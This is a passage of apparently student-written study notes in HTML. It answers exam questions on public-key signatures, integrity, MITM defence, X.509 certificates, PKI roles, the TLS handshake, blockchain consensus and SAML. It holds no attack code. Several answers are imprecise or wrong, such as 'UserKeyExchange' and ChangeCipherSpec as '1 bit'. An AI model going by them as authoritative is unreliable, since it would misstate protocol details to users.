247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 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382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z"></path><path stroke-width="0" id="E96-MJMAIN-3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path><path stroke-width="0" id="E96-MJMATHI-79" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-6C"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-6F" x="278" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-67" x="778" y="0"></use><use transform="scale(0.707)" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMATHI-78" x="1807" y="-342"></use><g transform="translate(1949,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-31"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-32" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-35" x="1000" y="0"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMAIN-3D" x="3726" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E96-MJMATHI-79" x="4782" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-96">\log_x125=y</script> it's harder.</p></li></ul><p>In RSA is used <strong>Factorization</strong>, in <strong>DH</strong> is used <strong>Discrete Logarithm Problem</strong>. <em>(Check explanation above for each one)</em></p></blockquote></li></ul><h4><a name='header-n331' class='md-header-anchor '></a>Cryptography at work</h4><ul><li><p>How can PKC be used for identification (sign messages)?</p><blockquote><p><strong>PKC</strong> could be used to identification (sign messages) by:</p><ul><li><strong>Public Key</strong> decrypt</li><li><strong>Private Key</strong> encrypt</li><li>This leads to <strong>Integrity</strong>, <strong>Authenticity </strong>(If using certificate) and <strong>Non repudiation</strong> <em>(you can't say "i didn't send that").</em></li></ul></blockquote></li><li><p>Explain the notion of “Integrity” and how a cryptographic hash function can be used to guarantee the integrity of messages</p><blockquote><p>Integrity is preserved when the data are intact, not modified from sender to receiver.</p><p>To guarantee integrity with hash function:</p><ol start='' ><li><p>Sender Side</p><ol start='' ><li><strong>A</strong> create <strong>HASH Digest</strong> of the message. </li><li><strong>A</strong> uses his/her <strong>Private Key to Sign</strong> the Digest.</li><li><strong>A</strong> uses B <strong>Public Key to encrypt</strong> the message.</li><li><strong>A</strong> send the message to B.</li></ol></li><li><p>Receiver Side</p><ol start='' ><li><strong>B</strong> receive the message</li><li><strong>B</strong> <strong>decrypt</strong> the message with his/her <strong>Private Key</strong>.</li><li><strong>B</strong> <strong>check the signature</strong> of the hash with <strong>A Public Key</strong>.</li><li><strong>B</strong> uses the <strong>same hash function</strong> used by <strong>A</strong> to <strong>compute the HASH Digest</strong> of the message.</li><li><strong>B</strong> <strong>checks</strong> if the <strong>computed HASH Digest is equal to the received one.</strong></li><li>if True, i have achieved integrity.</li></ol></li></ol></blockquote></li><li><p>Explain how a man-in-the-middle attack on a network can be countered</p><blockquote><p><strong>MITM</strong> attack can be countered by using <strong>TLS/SSL</strong> security. Using this protocol will let the Middleman see all the packets, but they are encrypted by the TLS/SSL Master key(decided with Diffie Hellman). (<strong>Confidentiality</strong>)</p><p>MITM can still attack <strong>DH Key Exchange</strong>, but he will get busted if <strong>Server is using a strong Cipher</strong> and a <strong>Certificate</strong> X.509. (<strong>Authenticity</strong>)</p><p><strong>Integrity</strong> is obtained by <strong>cipherspec's Hash Algorithm</strong>, which needs to be <strong>strong</strong> and safe.</p></blockquote></li><li><p>What is a digital certificate and what are its main components? (X.509 standard)</p><blockquote><p>A digital certificate is a <strong>binding of a Public Key and a subject</strong> (supposedly it's owner). </p><p>Main components of a Digital Certificate are:</p><ol start='' ><li>Certification Authority Data (<strong>ISSUER</strong>)</li><li>Subject Data (<strong>SUBJECT</strong>)</li><li><strong>Expiration Date</strong></li></ol><p>Each <strong>Data</strong> is composed of:</p><ul><li><strong>Unique ID</strong></li><li><strong>Name</strong></li><li><strong>Signature</strong> (Only CA)</li><li><strong>Public Key</strong> (Only Subject)</li><li><strong>Algorithm used to compute Signature/Public Key.</strong></li></ul><p>Extension of data, Serial Number are also there.</p></blockquote></li><li><p>Describe the Public Key Infrastructure and its main entities (CA, RA, VA)</p><blockquote><p>The PKI is a system that provides for a <strong>TTP (Trusted Third Party)</strong> to vouch for <strong>user identities</strong> with the binding of public keys to subjects, through the generation of a <strong>Trusted Digital Certificate</strong>.</p><p>PKI is composed of:</p><ul><li><strong>CA: Certification Authority</strong>, third party that associates an identity with its public key and generates the certificate, signing it</li><li><strong>RA: Registration Authority</strong>, responsible for accepting requests for digital certificates and authenticating the entity, assuring valid and correct registration</li><li><strong>VA: Validation Authority</strong>, provide entity information on behalf of the CA. Interrogates the CRL, checks signatures, validity and distribution of certificates. Usually it's the browser role</li><li><strong>CPS: Cryptographic Practices Statement</strong>, telling everyone which security is implementing for issuing certificates;</li><li><strong>Certification Repository</strong>: Where the certificates are stored;</li><li><strong>Certificate Revocation List (CRL)</strong>: where are stored all the revoked/not valid certificates.</li></ul></blockquote></li><li><p>Explain TLS by defining its main goal, in which context is routinely used, its relationships with SSL. Then briefly describe the purposes of its two main sub-protocols.</p><blockquote><p>The main goal of TLS protocol is to <strong>provide privacy and data integrity</strong> between two communicating applications.</p><p>It's routinely used between <strong>Browsers and Web Servers</strong>.</p><p><strong>TLS</strong> was born to <strong>standardize SSL</strong>. TLS 1.0 starts from <strong>SSLv3 + Tweaks.</strong> TLS has the same <strong>SSL protocol design</strong> but uses <strong>different algorithms</strong>.</p><p>The two main sub-protocols are:</p><ol start='' ><li><strong>Handshake Protocol</strong>: It negotiate ciphers ,protocols and connect Client and Server providing Privacy (confidentiality), Integrity and (optional) Authentication of Server and (optional) Client. The handshake protocol uses <strong>Diffie-Hellman</strong> to exchange the <strong>Master Key</strong> that will be used in TLS Record Protocol, <strong>switching from Asymmetric Encryption(Diffie-Hellman) to Symmetric Encryption</strong> (RC4, IDEA, DES, 3DES, AES, ...).</li><li><strong>Record Protocol</strong>: Use the shared key established in the handshake protocol to protect the communication between client and server</li></ol></blockquote></li><li><p>Describe the SSL/TLS handshake protocol with the help of the Message Sequence Chart</p><div class="md-diagram-panel"><svg id="mermaidChart0" width="366" xmlns="http://www.w3.org/2000/svg" height="680" viewBox="-8 -8 366 680" style="height: 720px;"><style></style><style>#mermaidChart0 {
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fill: none;"></line></g><g><text x="175" y="303" class="messageText" style="text-anchor: middle;">Certificate*</text><line x1="75" y1="310" x2="275" y2="310" class="messageLine0" stroke-width="2" stroke="black" marker-end="url(#arrowhead)" style="fill: none;"></line></g><g><rect x="270" y="312" fill="#f4f4f4" stroke="#666" width="10" height="138" rx="0" ry="0"></rect></g><g><text x="172.5" y="338" class="messageText" style="text-anchor: middle;">ClientKeyExchange</text><line x1="75" y1="345" x2="270" y2="345" class="messageLine1" stroke-width="2" stroke="black" marker-end="url(#arrowhead)" style="stroke-dasharray: 3, 3; fill: none;"></line></g><g><text x="172.5" y="373" class="messageText" style="text-anchor: middle;">CertificateVerify*</text><line x1="75" y1="380" x2="270" y2="380" class="messageLine1" stroke-width="2" stroke="black" marker-end="url(#arrowhead)" style="stroke-dasharray: 3, 3; fill: none;"></line></g><g><text x="172.5" y="408" class="messageText" style="text-anchor: middle;">ChangeCipherSpec</text><line x1="75" y1="415" x2="270" y2="415" class="messageLine1" stroke-width="2" stroke="black" marker-end="url(#arrowhead)" style="stroke-dasharray: 3, 3; fill: none;"></line></g><g><text x="172.5" y="443" class="messageText" style="text-anchor: middle;">Finished</text><line x1="75" y1="450" x2="270" y2="450" class="messageLine1" stroke-width="2" stroke="black" marker-end="url(#arrowhead)" style="stroke-dasharray: 3, 3; fill: none;"></line></g><g><text x="175" y="478" class="messageText" style="text-anchor: middle;">ChangeCipherSpec</text><line x1="275" y1="485" x2="75" y2="485" class="messageLine0" stroke-width="2" stroke="black" marker-end="url(#arrowhead)" style="fill: none;"></line></g><g><rect x="70" y="487" fill="#f4f4f4" stroke="#666" width="10" height="33" rx="0" ry="0"></rect></g><g><text x="177.5" y="513" class="messageText" style="text-anchor: middle;">Finished</text><line x1="275" y1="520" x2="80" y2="520" class="messageLine1" stroke-width="2" stroke="black" marker-end="url(#arrowhead)" style="stroke-dasharray: 3, 3; fill: none;"></line></g><g><text x="175" y="548" class="messageText" style="text-anchor: middle;">Application Data</text><line x1="75" y1="555" x2="275" y2="555" class="messageLine0" stroke-width="2" stroke="black" marker-end="url(#arrowhead)" style="fill: none;"></line></g><g><text x="175" y="583" class="messageText" style="text-anchor: middle;">Application Data</text><line x1="275" y1="590" x2="75" y2="590" class="messageLine0" stroke-width="2" stroke="black" marker-end="url(#arrowhead)" style="fill: none;"></line></g><g><rect x="0" y="606" fill="#eaeaea" stroke="#666" width="150" height="65" rx="3" ry="3" class="actor"></rect><text x="75" y="638.5" dominant-baseline="central" alignment-baseline="central" class="actor" style="text-anchor: middle;"><tspan x="75" dy="0">Client</tspan></text></g><g><rect x="200" y="606" fill="#eaeaea" stroke="#666" width="150" height="65" rx="3" ry="3" class="actor"></rect><text x="275" y="638.5" dominant-baseline="central" alignment-baseline="central" class="actor" style="text-anchor: middle;"><tspan x="275" dy="0">Server</tspan></text></g></svg></div><blockquote><ul><li><p><strong>ClientHello</strong>: Start by proposing </p><ul><li>1st cipher available;</li><li>a protocol available.</li></ul></li><li><p><strong>ServerHello</strong>: </p><ul><li>Requested cipher (if available or permitted);</li><li>Requested protocol (if available or permitted);</li><li><strong>Session ID</strong></li></ul></li><li><p><strong>Certificate</strong>: If asked.</p></li><li><p><strong>ServerKeyExchange</strong>: Diffie-Hellman Key of Server, this will be used to generate the <strong>Master Key</strong>.</p></li><li><p><strong>CertificateRequest:</strong> If the server wants to authenticate the user, ask for a client certificate.</p></li><li><p><strong>UserKeyExchange</strong>: Diffie-Hellman Key of Client, this will be used to generate the <strong>Master Key</strong>.</p></li><li><p><strong>CertificateVerify</strong>: If asked, this will provide a mean for the server to validate the client certificate.</p></li><li><p><strong>ChangeCipherSpec:</strong> 1 bit, the participant transitions to the agreed cipher suite</p></li><li><p><strong>Finished</strong>: The entire handshake is hashed and encrypted with the symmetric master key</p></li></ul><p>Then they'll both use the Diffie-Hellman Generated <strong>Master Key</strong> to swap to Symmetric Encryption with the <strong>previously chosen cipher</strong> (and protocol version).</p></blockquote></li><li><p>What are the potential security problems of TLS?</p><blockquote><p>TLS suffers from some security issues for a few reasons:</p><ul><li><strong>Backward compatibility</strong> with weak ciphers and broken hash function</li><li><strong>Logical flaws</strong> in the protocol that can be used to trick both client and server</li></ul><p>In the initial exchange of Hello Messages, client and server negotiates the protocol version and the cipher suite: for this reason an attacker can force the use of an exploitable cipher suite or version.</p><p>Some examples of attacks are: sweet32, 3shake, crime</p></blockquote></li><li><p>Why are digital signature important? What kind of problem they solve?</p><blockquote><p>Digital Signature are important because they solve the <strong>Integrity</strong> problem, by <strong>signing</strong> an hash/file we are sure nothing has been modified in the communication. </p><p>Digital Signature also offer <strong>Non Repudiation</strong>. If i sign a message, i can't later say that i didn't send that message.</p><p>They are strictly interconnected with Certificates, which certifies a signature, creating a bond between <strong>Subject</strong> and <strong>Public Key</strong>, leading to <strong>Authentication</strong>.</p></blockquote></li></ul><h4><a name='header-n490' class='md-header-anchor '></a>Blockchain</h4><ul><li><p>Describe the structure of the blockchain data-structure</p><blockquote><p>The Blockchain data Structure is composed of:</p><ul><li>Index <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-97-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="0.801ex" height="1.936ex" viewBox="0 -721.1 345 833.8" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E97-MJMATHI-69" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E97-MJMATHI-69" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-97">i</script></li><li>Timestamp <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-98-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="0.838ex" height="1.936ex" viewBox="0 -721.1 361 833.8" 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style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.215ex" height="2.065ex" viewBox="0 -776.4 523 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E99-MJMATHI-64" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E99-MJMATHI-64" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-99">d</script></li><li>Hash of the previous Block <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-100-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="3.231ex" height="2.45ex" viewBox="0 -776.4 1391 1055" role="img" focusable="false" style="vertical-align: -0.647ex;"><defs><path stroke-width="0" id="E100-MJMATHI-48" d="M228 637Q194 637 192 641Q191 643 191 649Q191 673 202 682Q204 683 219 683Q260 681 355 681Q389 681 418 681T463 682T483 682Q499 682 499 672Q499 670 497 658Q492 641 487 638H485Q483 638 480 638T473 638T464 637T455 637Q416 636 405 634T387 623Q384 619 355 500Q348 474 340 442T328 395L324 380Q324 378 469 378H614L615 381Q615 384 646 504Q674 619 674 627T617 637Q594 637 587 639T580 648Q580 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xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E101-MJMATHI-74" x="1754" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E101-MJMAIN-2C" x="2115" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E101-MJMATHI-64" x="2560" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E101-MJMAIN-2C" x="3083" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E101-MJMATHI-48" x="3528" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E101-MJMATHI-70" x="4416" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E101-MJMAIN-29" x="4919" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-101">h(i,t,d,Hp)</script></li></ul></blockquote></li><li><p>In the context of blockchain, what is the difference between <em>private</em> and <em>permissioned</em>? Define the notion of <em>immutability</em>. Define the notions of <em>height</em> and <em>depth</em> of a block.</p><blockquote><p>A blockchain is <strong>private</strong> if it's access it's restricted by some procedure, only some can <strong>read</strong> the blockchain. A blockchain is permissioned when everybody can't write on it, only some privileged ones are permitted to <strong>write</strong> the blockchain.</p><p>A <strong>private</strong> blockchain can be permissionless or permissioned.</p><p>A <strong>permissioned</strong> blockchain can be public or private.</p><p>A block is <strong>immutable</strong> when each change to old transactions can't be modified without resulting in an <strong>inconsistency state</strong>, leading to the removal of the upcoming transaction(edit) and restoring it to a consistency state.</p><p><strong>Height</strong>: Number of blocks from the first (genesis)</p><p><strong>Depth</strong>: Number of blocks from the end</p><p><em>Other useful informations:</em></p><p><strong>Stability(k):</strong> After <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-126-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.21ex" height="2.065ex" viewBox="0 -776.4 521 889.1" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E126-MJMATHI-6B" d="M121 647Q121 657 125 670T137 683Q138 683 209 688T282 694Q294 694 294 686Q294 679 244 477Q194 279 194 272Q213 282 223 291Q247 309 292 354T362 415Q402 442 438 442Q468 442 485 423T503 369Q503 344 496 327T477 302T456 291T438 288Q418 288 406 299T394 328Q394 353 410 369T442 390L458 393Q446 405 434 405H430Q398 402 367 380T294 316T228 255Q230 254 243 252T267 246T293 238T320 224T342 206T359 180T365 147Q365 130 360 106T354 66Q354 26 381 26Q429 26 459 145Q461 153 479 153H483Q499 153 499 144Q499 139 496 130Q455 -11 378 -11Q333 -11 305 15T277 90Q277 108 280 121T283 145Q283 167 269 183T234 206T200 217T182 220H180Q168 178 159 139T145 81T136 44T129 20T122 7T111 -2Q98 -11 83 -11Q66 -11 57 -1T48 16Q48 26 85 176T158 471L195 616Q196 629 188 632T149 637H144Q134 637 131 637T124 640T121 647Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E126-MJMATHI-6B" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-126">k</script> blocks, the transition is called 'stable'.</p><p><strong>Persistence:</strong> If someone honest calls a transition stable, all the honest distributed ledger have the same stable position <span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-126-Frame" tabindex="-1" style="font-size: 100%; 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display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="1.329ex" height="1.423ex" viewBox="0 -499.9 572 612.5" role="img" focusable="false" style="vertical-align: -0.262ex;"><defs><path stroke-width="0" id="E104-MJMATHI-75" d="M21 287Q21 295 30 318T55 370T99 420T158 442Q204 442 227 417T250 358Q250 340 216 246T182 105Q182 62 196 45T238 27T291 44T328 78L339 95Q341 99 377 247Q407 367 413 387T427 416Q444 431 463 431Q480 431 488 421T496 402L420 84Q419 79 419 68Q419 43 426 35T447 26Q469 29 482 57T512 145Q514 153 532 153Q551 153 551 144Q550 139 549 130T540 98T523 55T498 17T462 -8Q454 -10 438 -10Q372 -10 347 46Q345 45 336 36T318 21T296 6T267 -6T233 -11Q189 -11 155 7Q103 38 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E104-MJMATHI-75" x="0" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-104">u</script> rounds of an authentic transaction, it becames stable for all honest ledger.</p></blockquote></li><li><p>What is the double spending problem? How can it be solved?</p><blockquote><p>The double spending problem is the issue where an user can spend the same amount of money from the same wallet at the same time. This leads to two unconfirmed transaction using the same amount of money. </p><p>This is mitigated by the consensus BFT algorithm called <strong>proof-of-work</strong>, consist of solving a mathematical puzzle to check which one will put the block next in the blockchain. When the hash is solved, using distributed ledger, the owner of the block let everyone knows that the <strong>block is added</strong> because he won the race, <strong>solving the hash before others</strong>. When this is added, the other nodes <strong>will check and confirm(validate)</strong> that the solution given matches. </p><p>One of the two transaction is added to a block before putting it in the blockchain and this block is connected to the blockchain <strong>if the owner of the block solves a mathematical puzzle</strong> (hashing) before someone else.</p><p>If the second transaction is checked, it will be rejected because of the first one already in the blockchain.</p><p>If both are added at the same time in different blocks, a race will start. </p><p>After 6 blocks, one of the two should be rejected (<span class="MathJax_Preview"></span><span class="MathJax_SVG" id="MathJax-Element-105-Frame" tabindex="-1" style="font-size: 100%; display: inline-block;"><svg xmlns:xlink="http://www.w3.org/1999/xlink" width="7.355ex" height="2.322ex" viewBox="0 -831.8 3166.8 999.7" role="img" focusable="false" style="vertical-align: -0.39ex;"><defs><path stroke-width="0" id="E105-MJMAIN-2243" d="M55 283Q55 356 103 409T217 463Q262 463 297 447T395 382Q431 355 446 344T493 320T554 307H558Q613 307 652 344T694 433Q694 464 708 464T722 432Q722 356 673 304T564 251H554Q510 251 465 275T387 329T310 382T223 407H219Q164 407 122 367Q91 333 85 295T76 253T69 250Q55 250 55 283ZM56 56Q56 71 72 76H706Q722 70 722 56Q722 44 707 36H70Q56 43 56 56Z"></path><path stroke-width="0" id="E105-MJMAIN-30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path><path stroke-width="0" id="E105-MJMAIN-2E" d="M78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path><path stroke-width="0" id="E105-MJMAIN-31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path stroke-width="0" id="E105-MJMAIN-25" d="M465 605Q428 605 394 614T340 632T319 641Q332 608 332 548Q332 458 293 403T202 347Q145 347 101 402T56 548Q56 637 101 693T202 750Q241 750 272 719Q359 642 464 642Q580 642 650 732Q662 748 668 749Q670 750 673 750Q682 750 688 743T693 726Q178 -47 170 -52Q166 -56 160 -56Q147 -56 142 -45Q137 -36 142 -27Q143 -24 363 304Q469 462 525 546T581 630Q528 605 465 605ZM207 385Q235 385 263 427T292 548Q292 617 267 664T200 712Q193 712 186 709T167 698T147 668T134 615Q132 595 132 548V527Q132 436 165 403Q183 385 203 385H207ZM500 146Q500 234 544 290T647 347Q699 347 737 292T776 146T737 0T646 -56Q590 -56 545 0T500 146ZM651 -18Q679 -18 707 24T736 146Q736 215 711 262T644 309Q637 309 630 306T611 295T591 265T578 212Q577 200 577 146V124Q577 -18 647 -18H651Z"></path></defs><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E105-MJMAIN-2243" x="0" y="0"></use><g transform="translate(1055,0)"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E105-MJMAIN-30"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E105-MJMAIN-2E" x="500" y="0"></use><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E105-MJMAIN-31" x="778" y="0"></use></g><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#E105-MJMAIN-25" x="2333" y="0"></use></g></svg></span><script type="math/tex" id="MathJax-Element-105">\simeq 0.1\%</script> that both still lives).</p></blockquote></li><li><p>What is the Byzantine General Problem and why is it relevant for blockchain?</p><blockquote><p>The Byzantine General Problem is an issue that appears when more than one general have to attack a single point.</p><p>To win, they must attack all together. They can retreat, but all together. All generals have to agree to the same positions (<strong>consensus</strong>).</p><p>The problems that might appears are:</p><ul><li>What if at least one of the general is a traitor?</li><li>What if at least one of the general won't listen the other?</li><li>What if the communications between generals get lost or damaged? or even changed?</li><li>How can i check that the others general have got my message? how can they check if their ACK came to me?</li></ul><p>To solve this problem, we have a <strong>Byzantine Fault Tolerance</strong>.</p><p>This is correlated to blockchain because each general is a <strong>node in the blockchain</strong>, trying to obtain a <strong>consensus</strong>. All the participants of the network have to agree to the same action on the Distributed Ledger.</p></blockquote></li><li><p>What is the Proof-Of-Work approach to solving the consensus problem?</p><blockquote><p>Byzantine Fault Tolerance algorithm called <strong>proof-of-work</strong>, consist of solving a mathematical puzzle to extract the node that will add the next block in the blockchain. The nodes have to compete against each other to be the first to guess the solution. When the problem is solved, the winner updates its distributed ledger and broadcasts the solution: the owner of the block let everyone knows that the <strong>block is added</strong> because he won the race, <strong>solving the problem before others</strong>. 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distributed ledger</p><blockquote><p>A blockchain is a distributed ledger, but not every distributed ledger is a blockchain.</p><p>They have in common:</p><ul><li>A distributed ledger copies are distributed among the nodes</li><li>Every time there's an update, every ledger gets updated.</li></ul><p>A blockchain is also a chain of blocks, while <strong>Distributed Ledger isn't necessarily a blockchain.</strong></p></blockquote></li><li><p>Define the terms "public", "private", "permission-less" and "permissioned"</p><blockquote><p>A blockchain can be Public or Private:</p><ul><li><strong>Public:</strong> Everyone can <strong>read</strong> the entire blockchain.</li><li><strong>Private:</strong> Not everyone can <strong>read</strong> the blockchain, a restricted group of users can.</li></ul><p>A blockchain can be permission-less or permissioned:</p><ul><li><strong>Permissionless:</strong> Everyone can <strong>write</strong> on the blockchain.</li><li><strong>Permissioned</strong>: Not everyone can <strong>write</strong> the blockchain, a restricted group of users can.</li></ul></blockquote></li></ul><h4><a name='header-n578' class='md-header-anchor '></a>Authentication II</h4><ul><li><p>What is SAML?</p><blockquote><p><strong>SAML</strong> stands for Security Assertion Markup Language, it's a definition of <strong>mechanisms and formats for the communication of identity information</strong> between Identity Provider and Service Provider.</p></blockquote></li><li><p>What are the goals of SAML?</p><blockquote><p>The goals of SAML are:</p><ul><li><strong>Creation</strong> of a trusted security statement;</li><li><strong>Exchange</strong> of security statements.</li></ul><p>SAML does <strong>not</strong> provide:</p><ul><li>Performing authentication;</li><li>Granting access.</li></ul><p>SAML is an XML framework to Create and Exchange Statements, then Service Providers will decide what to do.</p></blockquote></li><li><p>What is the structure of a SAML assertion?</p><blockquote><p>A <strong>SAML Assertion</strong> is a bunch of <strong>statements</strong> made by a SAML Authority.</p><p>SAML has :</p><ul><li><strong>Issuer</strong></li><li><strong>Signature</strong></li><li><strong>Subject</strong></li><li><strong>Condition</strong></li><li><strong>AuthNStatement</strong></li></ul><p>It can represent 3 types of <strong>assertion</strong>:</p><ul><li><strong>Authentication</strong>: Subject is authenticated using X modality at Y time</li><li><strong>Attribute</strong>: Attributes associated to the subject</li><li><strong>Authorization Decision</strong>: The authorization is <em>Accepted</em> or <em>Denied</em></li></ul></blockquote></li><li><p>What is a SAML profile? Give also an example</p><blockquote><p>A <strong>SAML Profile</strong> is a combination of Assertion, Protocols and Bindings to support a defined use case. This leads to <strong>extension</strong> and <strong>constraints</strong> depending from use case.</p><p>An example is the (most used one) <strong>WEB SSO</strong>.</p></blockquote></li><li><p>Give a definition of Single Sign On (SSO), describe its purpose, explain one of its strengths and one of weaknesses. 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What are the main mitigation measures?</p><blockquote><p>SAML doesn't provide <strong>Confidentiality</strong> and <strong>Integrity</strong>, neither <strong>Authentication</strong> of IdP or SP. </p><p>This means someone could <strong>MITM.</strong></p><p>To mitigate this issue, we should use <strong>SSL/TLS</strong> to gain <strong>Confidentiality</strong> and 